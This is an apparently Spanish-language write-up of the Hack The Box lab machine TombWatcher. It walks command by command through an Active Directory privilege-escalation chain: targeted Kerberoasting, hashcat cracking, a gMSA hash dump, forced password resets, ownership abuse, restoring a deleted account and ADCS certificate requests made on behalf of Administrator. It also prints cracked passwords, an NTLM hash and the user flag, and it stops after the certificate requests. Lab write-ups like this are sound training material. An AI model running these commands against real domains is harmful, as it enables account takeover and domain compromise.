TombWatcher WriteUp

As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

Se hace un escaneo de nmap para reconocer el entorno con los parametros:

-sV Para identificar las versiones de los servicios expuestos.
-Pn Para omitir el ping a los hosts (asumiendo que están activos).
-sC Para utilizar los scripts por defecto de nmap.

Realizamos un escaneo del AD con bloodhound utilizando las credenciales proporcionadas:

$ bloodhound-python -u ‘henry’ -p ‘H3nry_987TGV!‘

El usuario HENRY@TOMBWATCHER.HTB tiene permisos de WriteSPN sobre el usuario ALFRED@TOMBWATCHER.HTB

El usuario Alfred tiene permisos de AddSelf sobre el grupo INFRAESTRUCTURE@TOMBWATCHER.HTB

El grupo INFRAESTRUCTURE@TOMBWATCHER.HTB tiene permisos de ReadGMSAPassword sobre ANSIBLE_DEV$@TOMBWATCHER.HTB

El usuario ANSIBLE_DEV$ Tiene permisos de ForceChangePassword sobre el usuario SAM@TOMBWATCHER.HTB

El usuario SAM tiene permisos de WriteOwner sobre el usuario JOHN@TOMBWATCHER.HTB

El usuario John tiene permisos de GenericAll sobre la cuenta de equipo ADCS@TOMBWATCHER.HTB

Teniendo en cuenta el escaneo de bloodhound, el vector de ataque es claro. Como el usuario henry tiene permisos de WriteSPN sobre el usuario alfred, esto hace posible un Kerberoasting.

¿Qué es Kerberoasting?

Kerberoasting es un ataque contra Active Directory donde un atacante solicita tickets de servicio (TGS) para cuentas que tienen un servicePrincipalName (SPN). Esos TGS están cifrados con la clave (hash) de la cuenta de servicio. El atacante extrae el ticket y lo rompe offline (con fuerza/bruteforce o diccionario) para recuperar la contraseña de la cuenta objetivo sin necesidad de interactuar continuamente con el dominio.

El ataque consiste en:

Detectar cuentas con SPN — identificar cuentas de servicio asociadas a SPNs (p. ej. con BloodHound, GetUserSPNs, powerview).
Solicitar TGS — pedir un ticket de servicio para el SPN desde una cuenta con permisos suficientes (cualquier usuario autenticado puede solicitar TGS para un SPN conocido).
Volcar/extraer el TGS — guardar la respuesta (TGS) que viene cifrada con la clave de la cuenta de servicio.
Extraer el “hash” del TGS — transformar el TGS en el formato que aceptan crackeadores (hash para John/Hashcat).
Crackear offline — usar Hashcat/John con diccionarios o fuerza bruta para recuperar la contraseña (si es débil).
Usar la credencial — con la contraseña conseguida, el atacante puede autenticarse como la cuenta de servicio y moverse lateralmente o acceder a recursos.

En este caso, al tener henry permisos para modificar el atributo servicePrincipalName de alfred, se le podria asociar un SPN a ese usuario y solicitar un ticket de servicio (TGS) para ese SPN y obtener un TGS cifrado con la clave de la cuenta de alfred. Ese ticket puede extraerse y crackear offline, por lo cual podriamos llegar a obtener la clave de alfred mediante un ataque de bruteforce si esta llegase a ser una contraseña debil.

Obtenemos el hash krb5 con:

$ faketime "$(ntpdate -q dc01.tombwatcher.htb | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -v -u henry -p H3nry_987TGV! -d tombwatcher.htb

Metemos el hash en un archivo con:

$ echo '$krb5tg...' > alfred.hash

Crackeamos el hash con hashcat utilizando como diccionario rockyou.txt:

$ hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt

Obtenemos la clave de alfred

Contraseña crackeada: alfred:basketball

Como alfred tiene permisos de AddSelf sobre el grupo Infraestructure, esto permite que el mismo usuario se pueda agregar al grupo Infraestructure, por lo cual utilizamos bloodyAD para agregarnos al grupo Infraestructure como alfred:

$ bloodyAD -u alfred -p basketball -d tombwatcher.htb --dc-ip 10.129.53.187 add groupMember 'CN=INFRASTRUCTURE,CN=USERS,DC=TOMBWATCHER,DC=HTB' alfred

Como el grupo Infraestructure tiene permisos de ReadGMSAPassword sobre ansible_dev$ esto permite que podamos leer la clave del gMSA enlazado a esa cuenta maquina. Como alfred ya forma parte del grupo Infraestructure, utilizamos netexec para dumpear el gMSA y de esta forma, obtenemos el hash NTLM de ansible_dev$:

$ nxc ldap 10.129.53.187 -u 'alfred' -p 'basketball' --gmsa

LDAPS 10.129.207.44 636 DC01 Account: ansible_dev$ NTLM: 1c37d00093dc2a5f25176bf2d474afdc

Como ansible_dev$ tiene permisos de ForceChangePassword sobre SAM, esto permite que ansible_dev$ pueda forzar un cambio de contraseña sobre SAM, como ya obtuvimos el hash NTLM de ansible_dev$, cambiamos la clave del usuario SAM a ‘Hacked_1337’ pasandole el hash obtenido previamente:

$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'ansible_dev$' -p ":1c37d00093dc2a5f25176bf2d474afdc" set password 'CN=SAM,CN=USERS,DC=TOMBWATCHER,DC=HTB' 'Hacked_1337'

Como sam tiene permisos de WriteOwner sobre el usuario john, esto permite que se pueda asignar a sam como dueño del usuario john:

$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'sam' -p 'Hacked_1337' set owner 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' 'sam'

Le damos permisos de GenericAll al usuario sam sobre el usuario john para darle control completo sobre john en el AD:

$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'Hacked_1337' add genericAll "CN=john,CN=Users,DC=tombwatcher,DC=htb" "CN=sam,CN=Users,DC=tombwatcher,DC=htb"

Cambiamos la clave del usuario john para poder acceder como ese usuario:

$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'Hacked_1337' set password "CN=john,CN=Users,DC=tombwatcher,DC=htb" "Pwned1337"

Nos conectamos mediante evil-winrm con:

$ evil-winrm -i 10.129.53.187 -u john -p Pwned1337

Obtenemos la flag de user:

User Flag: 604255b9beeba826812fccd15aa9aa53

Listamos objetos borrados en el AD:

Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties * | Select-Object Name, DistinguishedName, ObjectClass, LastKnownParent, WhenChanged

Restauramos el objeto eliminado (el usuario cert_admin):

Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf

Vemos que permisos tenemos sobre el usuario restaurado:

$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p 'Pwned1337' get writable

Cambiamos la contraseña del usuario restaurado:

net user cert_admin Pwned1337 /domain

Abuso de Certificado ADCS:

El primer req emite un certificado válido para que cert_admin actúe como agente.

$ certipy req -u 'cert_admin@tombwatcher.htb' -p 'Pwned1337 -dc-ip '10.129.53.187' -target 'dc01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'

Solicita un certificado para Administrator usando el privilegio de agente.

$ certipy req -u 'cert_admin@tombwatcher.htb' -p 'Pwned1337' -dc-ip '10.129.53.187' -target 'dc01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'User' -pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'